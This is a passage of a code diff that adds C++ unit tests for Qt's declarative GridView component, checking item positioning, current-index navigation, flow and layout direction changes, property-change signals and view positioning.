+ QVERIFY(gridview->currentIndex() == 0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::moved()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ model.moveItem(1, 8);
+
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", 1);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(1));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", 1);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(1));
+
+ name = findItem<QDeclarativeText>(contentItem, "textName", 8);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(8));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", 8);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(8));
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ }
+
+ gridview->setContentY(120);
+
+ // move outside visible area
+ model.moveItem(1, 25);
+
+ // Confirm items positioned correctly and indexes correct
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count()-1;
+ for (int i = 6; i < model.count()-6 && i < itemCount+6; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal((i%3)*80));
+ QTRY_COMPARE(item->y(), qreal((i/3)*60));
+ name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ // move from outside visible into visible
+ model.moveItem(28, 8);
+
+ // Confirm items positioned correctly and indexes correct
+ for (int i = 6; i < model.count()-6 && i < itemCount+6; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_VERIFY(item->x() == (i%3)*80);
+ QTRY_VERIFY(item->y() == (i/3)*60);
+ name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ // ensure content position is stable
+ gridview->setContentY(0);
+ model.moveItem(10, 0);
+ QTRY_VERIFY(gridview->contentY() == 0);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::currentIndex()
+{
+ TestModel model;
+ for (int i = 0; i < 60; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i));
+
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ QString filename(SRCDIR "/data/gridview-initCurrent.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QVERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ // current item should be third item
+ QCOMPARE(gridview->currentIndex(), 35);
+ QCOMPARE(gridview->currentItem(), findItem<QDeclarativeItem>(contentItem, "wrapper", 35));
+ QCOMPARE(gridview->currentItem()->y(), gridview->highlightItem()->y());
+ QCOMPARE(gridview->contentY(), 400.0);
+
+ gridview->moveCurrentIndexRight();
+ QCOMPARE(gridview->currentIndex(), 36);
+ gridview->moveCurrentIndexDown();
+ QCOMPARE(gridview->currentIndex(), 39);
+ gridview->moveCurrentIndexUp();
+ QCOMPARE(gridview->currentIndex(), 36);
+ gridview->moveCurrentIndexLeft();
+ QCOMPARE(gridview->currentIndex(), 35);
+
+ // no wrap
+ gridview->setCurrentIndex(0);
+ QCOMPARE(gridview->currentIndex(), 0);
+ // confirm that the velocity is updated
+ QTRY_VERIFY(gridview->verticalVelocity() != 0.0);
+
+ gridview->moveCurrentIndexUp();
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ gridview->moveCurrentIndexLeft();
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ gridview->setCurrentIndex(model.count()-1);
+ QCOMPARE(gridview->currentIndex(), model.count()-1);
+
+ gridview->moveCurrentIndexRight();
+ QCOMPARE(gridview->currentIndex(), model.count()-1);
+
+ gridview->moveCurrentIndexDown();
+ QCOMPARE(gridview->currentIndex(), model.count()-1);
+
+ // with wrap
+ gridview->setWrapEnabled(true);
+
+ gridview->setCurrentIndex(0);
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ gridview->moveCurrentIndexLeft();
+ QCOMPARE(gridview->currentIndex(), model.count()-1);
+
+ QTRY_COMPARE(gridview->contentY(), 880.0);
+
+ gridview->moveCurrentIndexRight();
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ QTRY_COMPARE(gridview->contentY(), 0.0);
+
+ // Test keys
+ canvas->show();
+ qApp->setActiveWindow(canvas);
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(canvas);
+#endif
+ QTRY_VERIFY(canvas->hasFocus());
+ QTRY_VERIFY(canvas->scene()->hasFocus());
+ qApp->processEvents();
+
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QCOMPARE(gridview->currentIndex(), 3);
+
+ QTest::keyClick(canvas, Qt::Key_Up);
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ gridview->setFlow(QDeclarativeGridView::TopToBottom);
+
+ qApp->setActiveWindow(canvas);
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(canvas);
+#endif
+ QTRY_VERIFY(canvas->hasFocus());
+ QTRY_VERIFY(canvas->scene()->hasFocus());
+ qApp->processEvents();
+
+ QTest::keyClick(canvas, Qt::Key_Right);
+ QCOMPARE(gridview->currentIndex(), 5);
+
+ QTest::keyClick(canvas, Qt::Key_Left);
+ QCOMPARE(gridview->currentIndex(), 0);
+
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QCOMPARE(gridview->currentIndex(), 1);
+
+ QTest::keyClick(canvas, Qt::Key_Up);
+ QCOMPARE(gridview->currentIndex(), 0);
+
+
+ // turn off auto highlight
+ gridview->setHighlightFollowsCurrentItem(false);
+ QVERIFY(gridview->highlightFollowsCurrentItem() == false);
+ QVERIFY(gridview->highlightItem());
+ qreal hlPosX = gridview->highlightItem()->x();
+ qreal hlPosY = gridview->highlightItem()->y();
+
+ gridview->setCurrentIndex(5);
+ QTRY_COMPARE(gridview->highlightItem()->x(), hlPosX);
+ QTRY_COMPARE(gridview->highlightItem()->y(), hlPosY);
+
+ // insert item before currentIndex
+ gridview->setCurrentIndex(28);
+ model.insertItem(0, "Foo", "1111");
+ QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29);
+
+ // check removing highlight by setting currentIndex to -1;
+ gridview->setCurrentIndex(-1);
+
+ QCOMPARE(gridview->currentIndex(), -1);
+ QVERIFY(!gridview->highlightItem());
+ QVERIFY(!gridview->currentItem());
+
+ gridview->setHighlightFollowsCurrentItem(true);
+
+ gridview->setFlow(QDeclarativeGridView::LeftToRight);
+ gridview->setLayoutDirection(Qt::RightToLeft);
+
+ qApp->setActiveWindow(canvas);
+#ifdef Q_WS_X11
+ // to be safe and avoid failing setFocus with window managers
+ qt_x11_wait_for_window_manager(canvas);
+#endif
+ QTRY_VERIFY(canvas->hasFocus());
+ QTRY_VERIFY(canvas->scene()->hasFocus());
+ qApp->processEvents();
+
+ gridview->setCurrentIndex(35);
+
+ QTest::keyClick(canvas, Qt::Key_Right);
+ QCOMPARE(gridview->currentIndex(), 34);
+
+ QTest::keyClick(canvas, Qt::Key_Down);
+ QCOMPARE(gridview->currentIndex(), 37);
+
+ QTest::keyClick(canvas, Qt::Key_Up);
+ QCOMPARE(gridview->currentIndex(), 34);
+
+ QTest::keyClick(canvas, Qt::Key_Left);
+ QCOMPARE(gridview->currentIndex(), 35);
+
+
+ // turn off auto highlight
+ gridview->setHighlightFollowsCurrentItem(false);
+ QVERIFY(gridview->highlightFollowsCurrentItem() == false);
+ QVERIFY(gridview->highlightItem());
+ hlPosX = gridview->highlightItem()->x();
+ hlPosY = gridview->highlightItem()->y();
+
+ gridview->setCurrentIndex(5);
+ QTRY_COMPARE(gridview->highlightItem()->x(), hlPosX);
+ QTRY_COMPARE(gridview->highlightItem()->y(), hlPosY);
+
+ // insert item before currentIndex
+ gridview->setCurrentIndex(28);
+ model.insertItem(0, "Foo", "1111");
+ QTRY_COMPARE(canvas->rootObject()->property("current").toInt(), 29);
+
+ // check removing highlight by setting currentIndex to -1;
+ gridview->setCurrentIndex(-1);
+
+ QCOMPARE(gridview->currentIndex(), -1);
+ QVERIFY(!gridview->highlightItem());
+ QVERIFY(!gridview->currentItem());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::noCurrentIndex()
+{
+ TestModel model;
+ for (int i = 0; i < 60; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i));
+
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+
+ QString filename(SRCDIR "/data/gridview-noCurrent.qml");
+ canvas->setSource(QUrl::fromLocalFile(filename));
+
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QVERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QVERIFY(contentItem != 0);
+
+ // current index should be -1
+ QCOMPARE(gridview->currentIndex(), -1);
+ QVERIFY(!gridview->currentItem());
+ QVERIFY(!gridview->highlightItem());
+ QCOMPARE(gridview->contentY(), 0.0);
+
+ gridview->setCurrentIndex(5);
+ QCOMPARE(gridview->currentIndex(), 5);
+ QVERIFY(gridview->currentItem());
+ QVERIFY(gridview->highlightItem());
+}
+
+void tst_QDeclarativeGridView::changeFlow()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 30; i++)
+ model.addItem("Item" + QString::number(i), QString::number(i));
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly and indexes correct
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal((i%3)*80));
+ QTRY_COMPARE(item->y(), qreal((i/3)*60));
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ ctxt->setContextProperty("testTopToBottom", QVariant(true));
+
+ // Confirm items positioned correctly and indexes correct
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal((i/5)*80));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ ctxt->setContextProperty("testRightToLeft", QVariant(true));
+
+ // Confirm items positioned correctly and indexes correct
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(-(i/5)*80 - item->width()));
+ QTRY_COMPARE(item->y(), qreal((i%5)*60));
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+ gridview->setContentX(100);
+ QTRY_COMPARE(gridview->contentX(), 100.);
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+ QTRY_COMPARE(gridview->contentX(), 0.);
+
+ // Confirm items positioned correctly and indexes correct
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), qreal(240 - (i%3+1)*80));
+ QTRY_COMPARE(item->y(), qreal((i/3)*60));
+ QDeclarativeText *name = findItem<QDeclarativeText>(contentItem, "textName", i);
+ QTRY_VERIFY(name != 0);
+ QTRY_COMPARE(name->text(), model.name(i));
+ QDeclarativeText *number = findItem<QDeclarativeText>(contentItem, "textNumber", i);
+ QTRY_VERIFY(number != 0);
+ QTRY_COMPARE(number->text(), model.number(i));
+ }
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::defaultValues()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/gridview3.qml"));
+ QDeclarativeGridView *obj = qobject_cast<QDeclarativeGridView*>(c.create());
+
+ QTRY_VERIFY(obj != 0);
+ QTRY_VERIFY(obj->model() == QVariant());
+ QTRY_VERIFY(obj->delegate() == 0);
+ QTRY_COMPARE(obj->currentIndex(), -1);
+ QTRY_VERIFY(obj->currentItem() == 0);
+ QTRY_COMPARE(obj->count(), 0);
+ QTRY_VERIFY(obj->highlight() == 0);
+ QTRY_VERIFY(obj->highlightItem() == 0);
+ QTRY_COMPARE(obj->highlightFollowsCurrentItem(), true);
+ QTRY_VERIFY(obj->flow() == 0);
+ QTRY_COMPARE(obj->isWrapEnabled(), false);
+ QTRY_COMPARE(obj->cacheBuffer(), 0);
+ QTRY_COMPARE(obj->cellWidth(), 100); //### Should 100 be the default?
+ QTRY_COMPARE(obj->cellHeight(), 100);
+ delete obj;
+}
+
+void tst_QDeclarativeGridView::properties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/gridview2.qml"));
+ QDeclarativeGridView *obj = qobject_cast<QDeclarativeGridView*>(c.create());
+
+ QTRY_VERIFY(obj != 0);
+ QTRY_VERIFY(obj->model() != QVariant());
+ QTRY_VERIFY(obj->delegate() != 0);
+ QTRY_COMPARE(obj->currentIndex(), 0);
+ QTRY_VERIFY(obj->currentItem() != 0);
+ QTRY_COMPARE(obj->count(), 4);
+ QTRY_VERIFY(obj->highlight() != 0);
+ QTRY_VERIFY(obj->highlightItem() != 0);
+ QTRY_COMPARE(obj->highlightFollowsCurrentItem(), false);
+ QTRY_VERIFY(obj->flow() == 0);
+ QTRY_COMPARE(obj->isWrapEnabled(), true);
+ QTRY_COMPARE(obj->cacheBuffer(), 200);
+ QTRY_COMPARE(obj->cellWidth(), 100);
+ QTRY_COMPARE(obj->cellHeight(), 100);
+ delete obj;
+}
+
+void tst_QDeclarativeGridView::propertyChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeGridView *gridView = canvas->rootObject()->findChild<QDeclarativeGridView*>("gridView");
+ QTRY_VERIFY(gridView);
+
+ QSignalSpy keyNavigationWrapsSpy(gridView, SIGNAL(keyNavigationWrapsChanged()));
+ QSignalSpy cacheBufferSpy(gridView, SIGNAL(cacheBufferChanged()));
+ QSignalSpy layoutSpy(gridView, SIGNAL(layoutDirectionChanged()));
+ QSignalSpy flowSpy(gridView, SIGNAL(flowChanged()));
+
+ QTRY_COMPARE(gridView->isWrapEnabled(), true);
+ QTRY_COMPARE(gridView->cacheBuffer(), 10);
+ QTRY_COMPARE(gridView->flow(), QDeclarativeGridView::LeftToRight);
+
+ gridView->setWrapEnabled(false);
+ gridView->setCacheBuffer(3);
+ gridView->setFlow(QDeclarativeGridView::TopToBottom);
+
+ QTRY_COMPARE(gridView->isWrapEnabled(), false);
+ QTRY_COMPARE(gridView->cacheBuffer(), 3);
+ QTRY_COMPARE(gridView->flow(), QDeclarativeGridView::TopToBottom);
+
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),1);
+ QTRY_COMPARE(cacheBufferSpy.count(),1);
+ QTRY_COMPARE(flowSpy.count(),1);
+
+ gridView->setWrapEnabled(false);
+ gridView->setCacheBuffer(3);
+ gridView->setFlow(QDeclarativeGridView::TopToBottom);
+
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),1);
+ QTRY_COMPARE(cacheBufferSpy.count(),1);
+ QTRY_COMPARE(flowSpy.count(),1);
+
+ gridView->setFlow(QDeclarativeGridView::LeftToRight);
+ QTRY_COMPARE(gridView->flow(), QDeclarativeGridView::LeftToRight);
+
+ gridView->setWrapEnabled(true);
+ gridView->setCacheBuffer(5);
+ gridView->setLayoutDirection(Qt::RightToLeft);
+
+ QTRY_COMPARE(gridView->isWrapEnabled(), true);
+ QTRY_COMPARE(gridView->cacheBuffer(), 5);
+ QTRY_COMPARE(gridView->layoutDirection(), Qt::RightToLeft);
+
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),2);
+ QTRY_COMPARE(cacheBufferSpy.count(),2);
+ QTRY_COMPARE(layoutSpy.count(),1);
+ QTRY_COMPARE(flowSpy.count(),2);
+
+ gridView->setWrapEnabled(true);
+ gridView->setCacheBuffer(5);
+ gridView->setLayoutDirection(Qt::RightToLeft);
+
+ QTRY_COMPARE(keyNavigationWrapsSpy.count(),2);
+ QTRY_COMPARE(cacheBufferSpy.count(),2);
+ QTRY_COMPARE(layoutSpy.count(),1);
+ QTRY_COMPARE(flowSpy.count(),2);
+
+ gridView->setFlow(QDeclarativeGridView::TopToBottom);
+ QTRY_COMPARE(gridView->flow(), QDeclarativeGridView::TopToBottom);
+ QTRY_COMPARE(flowSpy.count(),3);
+
+ gridView->setFlow(QDeclarativeGridView::TopToBottom);
+ QTRY_COMPARE(flowSpy.count(),3);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::componentChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeGridView *gridView = canvas->rootObject()->findChild<QDeclarativeGridView*>("gridView");
+ QTRY_VERIFY(gridView);
+
+ QDeclarativeComponent component(canvas->engine());
+ component.setData("import QtQuick 1.0; Rectangle { color: \"blue\"; }", QUrl::fromLocalFile(""));
+
+ QDeclarativeComponent delegateComponent(canvas->engine());
+ delegateComponent.setData("import QtQuick 1.0; Text { text: '<b>Name:</b> ' + name }", QUrl::fromLocalFile(""));
+
+ QSignalSpy highlightSpy(gridView, SIGNAL(highlightChanged()));
+ QSignalSpy delegateSpy(gridView, SIGNAL(delegateChanged()));
+ QSignalSpy headerSpy(gridView, SIGNAL(headerChanged()));
+ QSignalSpy footerSpy(gridView, SIGNAL(footerChanged()));
+
+ gridView->setHighlight(&component);
+ gridView->setDelegate(&delegateComponent);
+ gridView->setHeader(&component);
+ gridView->setFooter(&component);
+
+ QTRY_COMPARE(gridView->highlight(), &component);
+ QTRY_COMPARE(gridView->delegate(), &delegateComponent);
+ QTRY_COMPARE(gridView->header(), &component);
+ QTRY_COMPARE(gridView->footer(), &component);
+
+ QTRY_COMPARE(highlightSpy.count(),1);
+ QTRY_COMPARE(delegateSpy.count(),1);
+ QTRY_COMPARE(headerSpy.count(),1);
+ QTRY_COMPARE(footerSpy.count(),1);
+
+ gridView->setHighlight(&component);
+ gridView->setDelegate(&delegateComponent);
+ gridView->setHeader(&component);
+ gridView->setFooter(&component);
+
+ QTRY_COMPARE(highlightSpy.count(),1);
+ QTRY_COMPARE(delegateSpy.count(),1);
+ QTRY_COMPARE(headerSpy.count(),1);
+ QTRY_COMPARE(footerSpy.count(),1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::modelChanges()
+{
+ QDeclarativeView *canvas = createView();
+ QTRY_VERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychangestest.qml"));
+
+ QDeclarativeGridView *gridView = canvas->rootObject()->findChild<QDeclarativeGridView*>("gridView");
+ QTRY_VERIFY(gridView);
+
+ QDeclarativeListModel *alternateModel = canvas->rootObject()->findChild<QDeclarativeListModel*>("alternateModel");
+ QTRY_VERIFY(alternateModel);
+ QVariant modelVariant = QVariant::fromValue(alternateModel);
+ QSignalSpy modelSpy(gridView, SIGNAL(modelChanged()));
+
+ gridView->setModel(modelVariant);
+ QTRY_COMPARE(gridView->model(), modelVariant);
+ QTRY_COMPARE(modelSpy.count(),1);
+
+ gridView->setModel(modelVariant);
+ QTRY_COMPARE(modelSpy.count(),1);
+
+ gridView->setModel(QVariant());
+ QTRY_COMPARE(modelSpy.count(),2);
+ delete canvas;
+}
+
+void tst_QDeclarativeGridView::positionViewAtIndex()
+{
+ QDeclarativeView *canvas = createView();
+
+ TestModel model;
+ for (int i = 0; i < 40; i++)
+ model.addItem("Item" + QString::number(i), "");
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testModel", &model);
+ ctxt->setContextProperty("testRightToLeft", QVariant(false));
+ ctxt->setContextProperty("testTopToBottom", QVariant(false));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeGridView *gridview = findItem<QDeclarativeGridView>(canvas->rootObject(), "grid");
+ QTRY_VERIFY(gridview != 0);
+
+ QDeclarativeItem *contentItem = gridview->contentItem();
+ QTRY_VERIFY(contentItem != 0);
+
+ // Confirm items positioned correctly
+ int itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.);
+ QTRY_COMPARE(item->y(), (i/3)*60.);
+ }
+
+ // Position on a currently visible item
+ gridview->positionViewAtIndex(4, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(120, 90), 4);
+ QTRY_COMPARE(gridview->contentY(), 60.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 3; i < model.count() && i < itemCount-3-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.);
+ QTRY_COMPARE(item->y(), (i/3)*60.);
+ }
+
+ // Position on an item beyond the visible items
+ gridview->positionViewAtIndex(21, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(40, 450), 21);
+ QTRY_COMPARE(gridview->contentY(), 420.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 22; i < model.count() && i < itemCount-22-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.);
+ QTRY_COMPARE(item->y(), (i/3)*60.);
+ }
+
+ // Position on an item that would leave empty space if positioned at the top
+ gridview->positionViewAtIndex(31, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(120, 630), 31);
+ QTRY_COMPARE(gridview->contentY(), 520.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 24; i < model.count() && i < itemCount-24-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.);
+ QTRY_COMPARE(item->y(), (i/3)*60.);
+ }
+
+ // Position at the beginning again
+ gridview->positionViewAtIndex(0, QDeclarativeGridView::Beginning);
+ QTRY_COMPARE(gridview->indexAt(0, 0), 0);
+ QTRY_COMPARE(gridview->indexAt(40, 30), 0);
+ QTRY_COMPARE(gridview->indexAt(80, 60), 4);
+ QTRY_COMPARE(gridview->contentY(), 0.);
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QTRY_VERIFY(item);
+ QTRY_COMPARE(item->x(), (i%3)*80.);
+ QTRY_COMPARE(item->y(), (i/3)*60.);
+ }
+
+ // Position at End
+ gridview->positionViewAtIndex(30, QDeclarativeGridView::End);
+ QTRY_COMPARE(gridview->contentY(), 340.);
+
+ // Position in Center
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Center);
+ QTRY_COMPARE(gridview->contentY(), 170.);
+
+ // Ensure at least partially visible
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentY(), 170.);
+
+ gridview->setContentY(302);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentY(), 302.);
+
+ gridview->setContentY(360);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentY(), 300.);
+
+ gridview->setContentY(60);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentY(), 60.);
+
+ gridview->setContentY(20);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Visible);
+ QTRY_COMPARE(gridview->contentY(), 100.);
+
+ // Ensure completely visible
+ gridview->setContentY(120);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentY(), 120.);
+
+ gridview->setContentY(302);
+ gridview->positionViewAtIndex(15, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentY(), 300.);
+
+ gridview->setContentY(60);
+ gridview->positionViewAtIndex(20, QDeclarativeGridView::Contain);
+ QTRY_COMPARE(gridview->contentY(), 100.);
+
+ // Test for Top To Bottom layout
+ ctxt->setContextProperty("testTopToBottom", QVariant(true));
+
+ // Confirm items positioned correctly
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ for (int i = 0; i < model.count() && i < itemCount-1; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
